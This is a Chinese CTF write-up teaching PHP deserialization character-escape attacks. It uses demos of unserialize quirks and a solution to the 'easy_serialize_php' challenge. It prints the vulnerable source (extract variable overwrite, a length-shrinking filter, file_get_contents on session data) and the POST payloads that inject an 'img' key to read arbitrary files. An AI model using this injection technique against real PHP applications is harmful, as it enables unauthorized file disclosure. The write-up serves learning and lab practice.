PHP反序列化字符逃逸

php反序列化字符逃逸

特性一

PHP在反序列化时,对象中不存在的属性也会进行序列化

1
2
3
4
5
6
7
<?php
class Test{
public $test;
}
$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}';
var_dump(unserialize($s));
?>

得到的结果是如图所示

可以看到我们的test1属性是不存在的!但事实上并不影响我们进行序列化操作。

特性二

PHP在反序列化时,底层代码是以 ; 作为字段的分隔,,以 } 作为结尾(字符串除外),并根据长度来判断内容。

我们可以将序列化后的代码作为字符串赋值给给一个变量,然后得到结果。

源码

1
2
3
4
5
<?php

$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}';
var_dump(unserialize($s));
?>

返回值

1
2
3
4
5
6
7
["__PHP_Incomplete_Class_Name"]=>
string(4) "Test"
["test"]=>
string(4) "test"
["test1"]=>
string(4) "test"
}

一般的我们会认为,只要增加或除去字符串中的任意一个字符都会导致反序列化的失败。但事实并非如此,如果将源码的$s给其更改为

1
'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}i:1;s:5:"aaaaa";';

得到的返回值没发生变化。说明反序列化的过程是有一定的识别范围的,在这个范围之外的字符都会被忽略,不影响夫序列化的正常进行。

但是如果我们修改它的长度,就会发生报错。

1
2
3
4
5
<?php

$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:4:"test1";s:4:"test";}i:1;s:5:"aaaaa";';
var_dump(unserialize($s));
?>

返回报错!!

特性三

例子源码(选自安洵杯easy_serialize_php)

1
2
3
4
5
6
<?php
$_SESSION["user"]='flagflagflagflagflagflag'
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

结果为

1
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假设后台存在一个过滤机制,将包含flag的字符替换为空,那么以上序列化字符串过滤结果为

1
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

然后我们可以想一下,如果我们将这字符串反序列化之后会得到什么呢?

1
2
3
4
5
6
7
8
array(3) {
["user"]=>
string(24) "";s:8:"function";s:59:"a"
["img"]=>
string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=>
string(1) "a"
}

看的不明显的话,我将原来的也反序列化一下

1
2
3
4
5
6
7
8
array(3) {
["user"]=>
string(24) "flagflagflagflagflagflag"
["function"]=>
string(59) "a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}"
["img"]=>
string(20) "L2QwZzNfZmxsbGxsbGFn"
}

这样一来就很明显了。我们来分析下,关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看是否满足序列化的规则,也即读取 s:8:”function”;s:59:”a” , 读取这24个字符后以;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果如上所示!!

easy_serialize_php

题目分析

打开题目得到源码,不长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

审计的时候看到了一个熟悉的phpinfo所以就将phpinfo传给f得到回显。发现了这个

可以看到auto_append_file设置了php代码执行结束后加载的一个文件,猜测这就是flag了,要用show_image来读它.如果直f=show_image&img_path=d0g3_f1ag.php
的话会被sha1放入$_SESSION

而这里只有b64解码,又看到了extract,想到可以变量覆盖,使我们有机会直接修改_SESSION

再来回头看刚刚session数组。

刚刚过滤掉了flag后写成session数组的形式为

1
2
3
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

可以发现sessions数组的键值img对应发生了改变。原来我们是无法控制img的值。但是通过这种方法,就可以间接控制到img的值。由于过滤掉了flag,所以就向后读取,读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码。读取d0g3_f1ag.php的值,而识别完成后最后面的 s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;} 被忽略掉了,不影响正常的反序列化过程!

题目详解

经过上面的理解,下面就开始构造payload

首先payload get : f=show_image

post: _SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

回显得到

1
2
3
4
5
<?php

$flag = 'flag in /d0g3_fllllllag';

?>

然后将base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn

然后构造payload get:f=show_image

post:

_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

得到flag!!